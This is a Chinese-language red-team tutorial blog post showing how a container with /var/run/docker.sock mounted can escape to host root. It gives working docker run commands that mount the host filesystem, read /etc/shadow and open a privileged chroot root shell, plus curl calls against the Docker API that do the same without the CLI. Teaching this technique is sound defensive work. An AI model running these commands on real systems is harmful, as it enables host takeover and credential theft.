iT邦幫忙

2026 iThome 鐵人賽

DAY 14
0

在 Sysdig 於 2026 年公布的 JADEPUFFER 攻擊研究中,研究人員觀察到一個很有意思的行為:攻擊者在取得 Container 內的程式執行能力後,會主動尋找 /var/run/docker.sock,甚至進一步確認自己是否能透過它與 Docker daemon 溝通。

攻擊者為什麼要尋找這個 socket?它又為什麼常被視為取得 host root 權限的入口?

接下來就進入我們今天的主題:docker.sock 容器逃逸。

什麼是 docker.sock?

我們先從 Docker 官方簡易的架構圖開始說明:
lab-03

  • Client:使用者與 Docker 互動的操作端,例如 docker CLI。Client 會將使用者的操作要求透過 Docker API 傳送給 Docker daemon。
  • docker daemon:長時間運行的背景程序 dockerd,負責監聽 Client 的請求,並實際建立與管理 Container、Image、Network、Volume 等 Docker 物件。
  • Image:可以想像成製作容器的藍圖,docker daemon 會透過這個 Image 的內容建立 Container。
  • Registry:儲存 Image 的倉庫,docker daemon 會從這裡找 Image 做使用。

Docker daemon 透過 Registry API 去跟 Registry 溝通並下載 Image,那 Client 跟 docker daemon 是怎麼溝通的呢?
我們先來看一下官方怎麼說明:
lab-02
來源:Daemon socket option

從這邊我們可以看到 Client 跟 docker daemon 都是透過 REST API 去做溝通,Docker 使用 unix domain socket 這個技術讓兩個程序做溝通,這個檔案就是 docker.sock 它預設的位置是在 /var/run/docker.sock 並且預設只有 root 跟 docker 群組的成員才可以使用。

介紹說完了,透過實作看看會發生什麼事?

docker.sock 提權

1. 查看容器內部是否有掛載 docker.sock

我們先檢查自己現在的身分,再用 ls 來查看是不是有 docker.sock,並確認我們能不能正確使用 docker 指令:

ls -l /var/run/docker.sock 
docker Images
docker ps > /dev/null ; echo $?
id

lab-04

從執行結果可見,目前容器內的使用者是 root,且 docker ps 成功執行,表示我們能向 Docker daemon 發送查詢請求。接下來,嘗試要求 daemon 建立一個暫時容器,將 daemon 所在主機的根目錄 / 掛載到容器內的 /host,確認能否存取主機檔案系統;最後再透過 chroot,讓程式以 /host 作為路徑的根目錄。

2. 將主機的根目錄掛載進容器內部

可以用以下指令來確認是否掛載成功:

docker run --rm -v /:/host ubuntu:22.04 chroot /host head -n 3 /etc/shadow
docker run --rm -v /:/host ubuntu:22.04 chroot /host id

lab-05

這兩個指令都會使用 ubuntu:22.04 Image 建立一個暫時性的 Container,並將 Host 的根目錄 / 掛載到 Container 內的 /host。接著透過 chroot /host,讓後續執行的程式將 /host 視為新的根目錄 /,最後分別執行 head -n 3 /etc/shadow 與 id。

用head -n 3 /etc/shadow 是為了檢查是不是真的把根目錄掛載進來,id 用來顯示程序目前的 UID。

3. 利用臨時容器建立一個 root shell

現在我們身分確認了,根目錄確定掛載了。我們直接使用以下指令來啟動一個 root shell:

docker run --rm -it --privileged --pid=host --net=host -v /:/host ubuntu:22.04 chroot /host bash
  • --privileged:給新容器大幅擴張的權限,包括所有 Linux capabilities、主機裝置存取等。
  • --pid=host:讓新容器共用主機的 PID namespace,因此能看見主機的程序。
  • --net=host:讓容器共用主機的網路環境。容器內的程式可以透過主機的 127.0.0.1 存取主機服務,也會與主機共用連接埠。
  • -v /:/host:把 Docker daemon 所在主機的 / 掛到新容器的 /host。未指定 :ro 時,bind mount 預設可寫。
  • chroot /host bash:將根目錄切到 /host 並且執行 bash。

lab-06

可以看到,我們已透過 Docker daemon 建立高權限容器,取得主機 root 等級的控制能力。整個流程相當直接,不需要再利用其他漏洞。

此時會有人說「如果容器裡沒有安裝 Docker CLI 不就可以沒事了嗎?」。
lab-07

前面有提到 docker daemon 跟 CLI 之間的溝通方式是用 Rest API 的方式,那我直接打 API 呢?

ID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"ubuntu:22.04","Cmd":["chroot","/host","head","-n","3","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create | sed -n 's/.*"Id":"\([0-9a-f]*\)".*/\1/p')
  
curl -s -o /dev/null -w "start -> HTTP %{http_code}\n" \
  --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$ID/start"

curl -s --unix-socket /var/run/docker.sock \
  "http://localhost/containers/$ID/logs?stdout=1&stderr=1" | tr -cd '\11\12\15\40-\176'; echo

lab-08

可以看到我這裡用 curl 建立一個容器去撈 host 主機的 /etc/shadow 是有成功的,換句話說也可以用 curl 的方式讓容器主動連回攻擊者的監聽端,這就完整體現了容器掛載 docker.sock 的危險性。

從上面的內容可以看到 docker.sock 的攻擊門檻非常的低,就算沒有 docker CLI 也可以透過打 API 的方式進行攻擊,這就是為什麼 JADEPUFFER 會在容器裡面尋找 docker.sock 的原因。

謝謝大家今天的收看,我們明天見!


上一篇
Day 13|拿到 Container Shell 之後,攻擊者下一步會找什麼?
下一篇
Day 15|Bind Mount:Container 裡的一條路,怎麼一路通到 Host
系列文
我以前被社會打穿,現在輪到我研究怎麼把系統打穿:資安工程師的 30 天紅隊轉職實驗 共 17 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言